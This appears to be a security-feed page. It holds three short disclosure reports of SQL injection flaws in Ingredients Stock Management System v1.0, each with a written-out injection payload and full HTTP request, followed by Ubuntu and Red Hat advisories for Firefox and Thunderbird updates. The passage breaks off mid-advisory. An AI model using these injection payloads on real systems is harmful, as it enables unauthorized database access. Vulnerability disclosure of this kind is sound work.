Ingredients Stock Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /items/view_item.php.

Permalink

**Ingredients Stock Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html

Vulnerability File: /isms/admin/items/view\_item.php

Vulnerability location: /isms/admin/items/view\_item.php, id

db\_name = isms\_db;length=7

\[+\] Payload: isms/admin/items/view\_item.php?id=3%27%20and%20length(database())%20=%207--+ // Leak place ---> id

GET /isms/admin/items/view\_item.php?id\=4%27%20and%20length(database())%20\=%207\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: \_ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close

When length (database ()) = 7 

When length (database ()) = 6

CVE-2022-36701: vul-wiki/SQLi-12.md at master · k0xx11/vul-wiki

Ingredients Stock Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /items/manage_item.php.

Permalink

Cannot retrieve contributors at this time

**Ingredients Stock Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html

Vulnerability File: /isms/admin/items/manage\_item.php

Vulnerability location: /isms/admin/items/manage\_item.php, id

db\_name = isms\_db;length=7

\[+\] Payload: isms/admin/items/manage\_item.php?id=4%27%20and%20length(database())%20=%207--+ // Leak place ---> id

GET /isms/admin/items/manage\_item.php?id\=4%27%20and%20length(database())%20\=%207\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: \_ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close

When length (database ()) = 7 

When length (database ()) = 6

CVE-2022-36700: vul-wiki/SQLi-13.md at master · k0xx11/vul-wiki

Ingredients Stock Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /stocks/manage_stockin.php.

Permalink

Cannot retrieve contributors at this time

**Ingredients Stock Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html

Vulnerability File: /isms/admin/stocks/manage\_stockin.php

Vulnerability location /isms/admin/stocks/manage\_stockin.php, iid

db\_name = isms\_db;length=7

\[+\] Payload: /isms/admin/stocks/manage\_stockin.php?iid=4&id=4%27%20and%20length(database())%20=%207--+ // Leak place ---> iid

GET /isms/admin/stocks/manage\_stockin.php?iid\=4&id\=4%27%20and%20length(database())%20\=%207\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: \_ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close

When length (database ()) = 7 

When length (database ()) = 6

CVE-2022-36703: vul-wiki/SQLi-14.md at master · k0xx11/vul-wiki

Ubuntu Security Notice 5581-1 - Multiple security issues were discovered in Firefox. If a user were tricked into opening a specially crafted website, an attacker could potentially exploit these to cause a denial of service, spoof the contents of the addressbar, bypass security restrictions, or execute arbitrary code.

    ==========================================================================Ubuntu Security Notice USN-5581-1August 24, 2022firefox vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTS- Ubuntu 18.04 LTSSummary:Firefox could be made to crash or run programs as your login if itopened a malicious website.Software Description:- firefox: Mozilla Open Source web browserDetails:Multiple security issues were discovered in Firefox. If a user weretricked into opening a specially crafted website, an attacker couldpotentially exploit these to cause a denial of service, spoof the contentsof the addressbar, bypass security restrictions, or execute arbitrarycode.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:  firefox                         104.0+build3-0ubuntu0.20.04.1Ubuntu 18.04 LTS:  firefox                         104.0+build3-0ubuntu0.18.04.1After a standard system update you need to restart Firefox to makeall the necessary changes.References:  https://ubuntu.com/security/notices/USN-5581-1  CVE-2022-38472, CVE-2022-38473, CVE-2022-38475, CVE-2022-38477,  CVE-2022-38478Package Information:  https://launchpad.net/ubuntu/+source/firefox/104.0+build3-0ubuntu0.20.04.1  https://launchpad.net/ubuntu/+source/firefox/104.0+build3-0ubuntu0.18.04.1

Ubuntu Security Notice USN-5581-1

Red Hat Security Advisory 2022-6178-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.13.0 ESR. Issues addressed include spoofing and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6178-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6178  
Issue date:        2022-08-24  
CVE Names:         CVE-2022-38472 CVE-2022-38473 CVE-2022-38476  
                   CVE-2022-38477 CVE-2022-38478  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.1  
Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream E4S (v. 8.1) - ppc64le, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.13.0 ESR.

Security Fix(es):

* Mozilla: Address bar spoofing via XSLT error handling (CVE-2022-38472)

* Mozilla: Cross-origin XSLT Documents would have inherited the parent's  
permissions (CVE-2022-38473)

* Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
(CVE-2022-38477)

* Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and  
Firefox ESR 91.13 (CVE-2022-38478)

* Mozilla: Data race and potential use-after-free in PK11_ChangePW  
(CVE-2022-38476)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2120673 - CVE-2022-38472 Mozilla: Address bar spoofing via XSLT error handling  
2120674 - CVE-2022-38473 Mozilla: Cross-origin XSLT Documents would have inherited the parent's permissions  
2120678 - CVE-2022-38476 Mozilla: Data race and potential use-after-free in PK11_ChangePW  
2120695 - CVE-2022-38477 Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
2120696 - CVE-2022-38478 Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and Firefox ESR 91.13

6. Package List:

Red Hat Enterprise Linux AppStream E4S (v. 8.1):

Source:  
firefox-91.13.0-1.el8_1.src.rpm

ppc64le:  
firefox-91.13.0-1.el8_1.ppc64le.rpm  
firefox-debuginfo-91.13.0-1.el8_1.ppc64le.rpm  
firefox-debugsource-91.13.0-1.el8_1.ppc64le.rpm

x86_64:  
firefox-91.13.0-1.el8_1.x86_64.rpm  
firefox-debuginfo-91.13.0-1.el8_1.x86_64.rpm  
firefox-debugsource-91.13.0-1.el8_1.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-38472  
https://access.redhat.com/security/cve/CVE-2022-38473  
https://access.redhat.com/security/cve/CVE-2022-38476  
https://access.redhat.com/security/cve/CVE-2022-38477  
https://access.redhat.com/security/cve/CVE-2022-38478  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwa9d9zjgjWX9erEAQhLCxAAi3vYj2HKA29pPYKEU+OkEdBllpI9UE4w  
OMDVmZ5Vq4B4UfP6iGQdyZKcK/WAbSKS03gYnFvIWBMcfAOpi1wqwZzosJVmxevx  
58XW1sH47bybiuOK4uWMflmlK3lxVppOCUEYu1ijmeEAgqlThAv11Ksiugfm7GFn  
hY/os3l4NvkmzA5ThssfAdcPigfSiJ52vSfurqL1HAaORN+9lZeOR2F73PgLVqMA  
CMj0gGVdXfSrkcZjqhu4+XFFsQ9xutcucN0dvqvgiqJDc3BeBWRSxL7GT6fENxBC  
1cyAiWj8ePTIlJIS7FqxNeo8Dr4ZoCLWyNPnKSPSa7DT0WV+Aw276BVOq+07BP69  
MEJpGMcJQtQoalXd8D4Jso5BsGWIoXLYCnKq15J8V5dexD370u/nRcPQFJ8vL1UZ  
ZiEZatmP0a4ZNffZWiSBjkVYVVOMpkWdFNqR21+9xzxAz6wzYUNY4EWMITLPvpBn  
FjyLjRRO8kKPbSDgnIps55JQmA41G27WILguF5i8RLd+2sQKmhvlA5G4R5aTu4Ks  
0Ggb4gWKqVPHGLGGejGZ/iU/uhD8wvOBttffP5aXf0UKiOhcykxI/ZCnkaT+Zyen  
CUOCyslTRUtTAkvL0Oh9Ys+nSPngOsSLpDmlXzOJDhTFKZegmi53dI74Jk6ZD4MW  
3fhovAeIFsk=2Xvf  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6178-01

Red Hat Security Advisory 2022-6165-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 91.13.0. Issues addressed include spoofing and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2022:6165-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6165  
Issue date:        2022-08-24  
CVE Names:         CVE-2022-38472 CVE-2022-38473 CVE-2022-38476  
                   CVE-2022-38477 CVE-2022-38478  
====================================================================  
1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 91.13.0.

Security Fix(es):

* Mozilla: Address bar spoofing via XSLT error handling (CVE-2022-38472)

* Mozilla: Cross-origin XSLT Documents would have inherited the parent's  
permissions (CVE-2022-38473)

* Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
(CVE-2022-38477)

* Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and  
Firefox ESR 91.13 (CVE-2022-38478)

* Mozilla: Data race and potential use-after-free in PK11_ChangePW  
(CVE-2022-38476)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2120673 - CVE-2022-38472 Mozilla: Address bar spoofing via XSLT error handling  
2120674 - CVE-2022-38473 Mozilla: Cross-origin XSLT Documents would have inherited the parent's permissions  
2120678 - CVE-2022-38476 Mozilla: Data race and potential use-after-free in PK11_ChangePW  
2120695 - CVE-2022-38477 Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
2120696 - CVE-2022-38478 Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and Firefox ESR 91.13

6. Package List:

Red Hat Enterprise Linux AppStream (v. 9):

Source:  
thunderbird-91.13.0-1.el9_0.src.rpm

aarch64:  
thunderbird-91.13.0-1.el9_0.aarch64.rpm  
thunderbird-debuginfo-91.13.0-1.el9_0.aarch64.rpm  
thunderbird-debugsource-91.13.0-1.el9_0.aarch64.rpm

ppc64le:  
thunderbird-91.13.0-1.el9_0.ppc64le.rpm  
thunderbird-debuginfo-91.13.0-1.el9_0.ppc64le.rpm  
thunderbird-debugsource-91.13.0-1.el9_0.ppc64le.rpm

s390x:  
thunderbird-91.13.0-1.el9_0.s390x.rpm  
thunderbird-debuginfo-91.13.0-1.el9_0.s390x.rpm  
thunderbird-debugsource-91.13.0-1.el9_0.s390x.rpm

x86_64:  
thunderbird-91.13.0-1.el9_0.x86_64.rpm  
thunderbird-debuginfo-91.13.0-1.el9_0.x86_64.rpm  
thunderbird-debugsource-91.13.0-1.el9_0.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-38472  
https://access.redhat.com/security/cve/CVE-2022-38473  
https://access.redhat.com/security/cve/CVE-2022-38476  
https://access.redhat.com/security/cve/CVE-2022-38477  
https://access.redhat.com/security/cve/CVE-2022-38478  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwa9ttzjgjWX9erEAQhIYg//d/FBLsCJ0qFFYr8yEPLHSeiX7BNYCCKW  
mBqag7ynhJ2e0BeuLXyeijIkRW8RcnykVT+uaU8sVzr+FcgsqTD4v1tvdWvK/Pin  
h5ftKCpBvDLfngDq4c68xegIlakJJwChHdhUXtHDjZf00IMPsDTqesmts3H0oPOK  
DR205FzfCGhS/riRry2m03kynfgXtSTly8MMWbwGjXzFCcliECr3IoBkvUQ03D5r  
93wUhaQh+BNtsUZwadEuip2OEwEDJXKB8821s89jv2wiINllPJs6tJWTgN5B7Xgr  
67k2+jaC+ObhMteCGLGgVHGXuy319zouVHjK4tu++WH2rGJXrHWsrHgmT2Suwpeh  
I35OfUxn9Ha7zLqjsr7sArkmnfLov1Jas5HJE2d7Hf6BrdsiayOR1jiHDkYJdxdF  
dMYjni7EvemalzyvX/VjQ6EN9alcPZltxHFoZeYPD7ALuFheM+cbpkIjbgBjM1Zc  
TZInMd+/w58ISSd5BJU0n2i6IPUP4MNfmghq5jyYSz3VHw3tS1MPLqqysNuGFXeb  
mdCQNKWWuKMEZ4XtWjO4nh4ys5vPKxqKipUeI65Y7D9FtzwAvbuEqBgesMBZNj6y  
ymSXC3bic2XHKIUCAQ5V47Oua/+QJIOpH4XioIV6ulfjKth4QcZL/uh8aqElfnfm  
RoU8rhR4GG8=7S7L  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6165-01

Red Hat Security Advisory 2022-6175-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.13.0 ESR. Issues addressed include spoofing and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6175-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6175  
Issue date:        2022-08-24  
CVE Names:         CVE-2022-38472 CVE-2022-38473 CVE-2022-38476  
                   CVE-2022-38477 CVE-2022-38478  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.13.0 ESR.

Security Fix(es):

* Mozilla: Address bar spoofing via XSLT error handling (CVE-2022-38472)

* Mozilla: Cross-origin XSLT Documents would have inherited the parent's  
permissions (CVE-2022-38473)

* Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
(CVE-2022-38477)

* Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and  
Firefox ESR 91.13 (CVE-2022-38478)

* Mozilla: Data race and potential use-after-free in PK11_ChangePW  
(CVE-2022-38476)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2120673 - CVE-2022-38472 Mozilla: Address bar spoofing via XSLT error handling  
2120674 - CVE-2022-38473 Mozilla: Cross-origin XSLT Documents would have inherited the parent's permissions  
2120678 - CVE-2022-38476 Mozilla: Data race and potential use-after-free in PK11_ChangePW  
2120695 - CVE-2022-38477 Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
2120696 - CVE-2022-38478 Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and Firefox ESR 91.13

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
firefox-91.13.0-1.el8_6.src.rpm

aarch64:  
firefox-91.13.0-1.el8_6.aarch64.rpm  
firefox-debuginfo-91.13.0-1.el8_6.aarch64.rpm  
firefox-debugsource-91.13.0-1.el8_6.aarch64.rpm

ppc64le:  
firefox-91.13.0-1.el8_6.ppc64le.rpm  
firefox-debuginfo-91.13.0-1.el8_6.ppc64le.rpm  
firefox-debugsource-91.13.0-1.el8_6.ppc64le.rpm

s390x:  
firefox-91.13.0-1.el8_6.s390x.rpm  
firefox-debuginfo-91.13.0-1.el8_6.s390x.rpm  
firefox-debugsource-91.13.0-1.el8_6.s390x.rpm

x86_64:  
firefox-91.13.0-1.el8_6.x86_64.rpm  
firefox-debuginfo-91.13.0-1.el8_6.x86_64.rpm  
firefox-debugsource-91.13.0-1.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-38472  
https://access.redhat.com/security/cve/CVE-2022-38473  
https://access.redhat.com/security/cve/CVE-2022-38476  
https://access.redhat.com/security/cve/CVE-2022-38477  
https://access.redhat.com/security/cve/CVE-2022-38478  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwa9fNzjgjWX9erEAQjamQ//UAdfm0JVP/i877+PT+9vgccujlMtu5KP  
NKtk/BZp5KgCQVs7WIUl0YMvdCb6C8VOQO7VOwbJvmuVqK5Rz/juRdbQ9dtJQzKn  
RHJZKWY432/3lNO0+MAsxld/fS8SkFHFhpIF5rvz3Fse4Pe6erbT4QYEKOnoBEnA  
zO58un+/gbfYia9DMsK22/nWUUhkQI8vrhZYoxo0uYFXfRbyb2h95eYYfxNSdPPu  
+HuwavRoofmoY7Eg0CjHBgsHf6Lx8X4S1aU9eQ1yvjdY+yd0kswY1tMRNjWbrHX5  
GdZmVCuqV8g8GTXWuMTV1ovhSnspuzieOQRScYJHlIQpucOfc8rVh2m2p67PG/7a  
84A/efe1KTmSqn6Ijpzet+yyIC11qjxTs4gFby0f5Jxz7MuzbXud8FNEpvJ5jq7F  
zHahYSDf7VgccQQPO7M06zZzBP9dNzSaR+jd361Kr6QbpeK/7hzvroo+kWR4NvgF  
iwdotKj3baY7DMuhJlcR/T0gbSNkOY3BgfBzfOrVaBhDtvp68ZxzzYfXMozGUIXr  
hUUM/o7bRsZ4Lrs+zNIyENZuo1MxlGGYcUX9WUgD9wUVm+q8BRy8xGZiq7PEOk3X  
SXXq74OF4vxDeSMvtkh0PW1lqfXRMVHQCDp5ex/COkwx1oFl5GeLoazZxtXTmHYh  
Xgex63FiGi8=5nlA  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6175-01

Red Hat Security Advisory 2022-6169-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 91.13.0. Issues addressed include spoofing and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2022:6169-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6169  
Issue date:        2022-08-24  
CVE Names:         CVE-2022-38472 CVE-2022-38473 CVE-2022-38476  
                   CVE-2022-38477 CVE-2022-38478  
====================================================================  
1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - ppc64le, x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 91.13.0.

Security Fix(es):

* Mozilla: Address bar spoofing via XSLT error handling (CVE-2022-38472)

* Mozilla: Cross-origin XSLT Documents would have inherited the parent's  
permissions (CVE-2022-38473)

* Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
(CVE-2022-38477)

* Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and  
Firefox ESR 91.13 (CVE-2022-38478)

* Mozilla: Data race and potential use-after-free in PK11_ChangePW  
(CVE-2022-38476)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2120673 - CVE-2022-38472 Mozilla: Address bar spoofing via XSLT error handling  
2120674 - CVE-2022-38473 Mozilla: Cross-origin XSLT Documents would have inherited the parent's permissions  
2120678 - CVE-2022-38476 Mozilla: Data race and potential use-after-free in PK11_ChangePW  
2120695 - CVE-2022-38477 Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
2120696 - CVE-2022-38478 Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and Firefox ESR 91.13

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
thunderbird-91.13.0-1.el7_9.src.rpm

x86_64:  
thunderbird-91.13.0-1.el7_9.x86_64.rpm  
thunderbird-debuginfo-91.13.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

Source:  
thunderbird-91.13.0-1.el7_9.src.rpm

ppc64le:  
thunderbird-91.13.0-1.el7_9.ppc64le.rpm  
thunderbird-debuginfo-91.13.0-1.el7_9.ppc64le.rpm

x86_64:  
thunderbird-91.13.0-1.el7_9.x86_64.rpm  
thunderbird-debuginfo-91.13.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
thunderbird-91.13.0-1.el7_9.src.rpm

x86_64:  
thunderbird-91.13.0-1.el7_9.x86_64.rpm  
thunderbird-debuginfo-91.13.0-1.el7_9.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-38472  
https://access.redhat.com/security/cve/CVE-2022-38473  
https://access.redhat.com/security/cve/CVE-2022-38476  
https://access.redhat.com/security/cve/CVE-2022-38477  
https://access.redhat.com/security/cve/CVE-2022-38478  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwa9hdzjgjWX9erEAQgPuhAAiHFBt4xbuec68PV3T5z9oshkJdXzkLdr  
z4629nTie0pjnvKiDHGx9nAV6jqrZWuVPgbDl0bSnBgHhnHEJy81XYd/f1ey0GGT  
UagkxeEA8LnYPPzqAWifqdOJdFzC4jkAl/zr0mrOPPX286CzQjJuyJBEYao2G6Ma  
7Wg2XA8iMzF3GDTq+heYluIffYPz+BUwlgsR4W4v+pJeuwsjw1m/egpV7rTQHOv1  
Eo5fKLCl0/7IRbSlygbai07uccDGNf5Jn8iZHDhmqQiN5bIy+n/a2T4cD2SQi9wk  
y24ALRlGZdYm7+eTEByoKXZeJQxmBRvpW46rMnOTKl9B7vzfRN+Nf1/H5M2wLpBo  
S5BEr1wP4LaOvcz6up70SUFqsZw6Y22xFGZ/fnwAvc8wCifaWu7pCItIyHbYlJ0i  
iRbtps8LNWBp5WLS+Xs3JRAcNpLJJQLIeFepC6kDINGUlPjPhG9jVvIG7da2eRAa  
Xtsh2fxFv2mXetJL0FHI0b5FqGwT2ogMsrkNP4QJgqhFm0h//BHn4zV1D15KWsOZ  
KQ7yj7Ook9uIrNwTF5TuVlj8EKyuIHuBcQqi2teXrJ0TscBXxM9xfeA35skjLgUC  
2TzTrbd+kZq0nGKoPG1+lvc6vXOasdUG878dBmBR/rmdyDe34FlM0weaIO+UkbrD  
Vd2TB/2bFgU¬eD  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6169-01

Red Hat Security Advisory 2022-6168-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 91.13.0. Issues addressed include spoofing and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2022:6168-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6168  
Issue date:        2022-08-24  
CVE Names:         CVE-2022-38472 CVE-2022-38473 CVE-2022-38476  
                   CVE-2022-38477 CVE-2022-38478  
====================================================================  
1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 8.2  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v. 8.2) - aarch64, ppc64le, x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 91.13.0.

Security Fix(es):

* Mozilla: Address bar spoofing via XSLT error handling (CVE-2022-38472)

* Mozilla: Cross-origin XSLT Documents would have inherited the parent's  
permissions (CVE-2022-38473)

* Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
(CVE-2022-38477)

* Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and  
Firefox ESR 91.13 (CVE-2022-38478)

* Mozilla: Data race and potential use-after-free in PK11_ChangePW  
(CVE-2022-38476)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2120673 - CVE-2022-38472 Mozilla: Address bar spoofing via XSLT error handling  
2120674 - CVE-2022-38473 Mozilla: Cross-origin XSLT Documents would have inherited the parent's permissions  
2120678 - CVE-2022-38476 Mozilla: Data race and potential use-after-free in PK11_ChangePW  
2120695 - CVE-2022-38477 Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
2120696 - CVE-2022-38478 Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and Firefox ESR 91.13

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v. 8.2):

Source:  
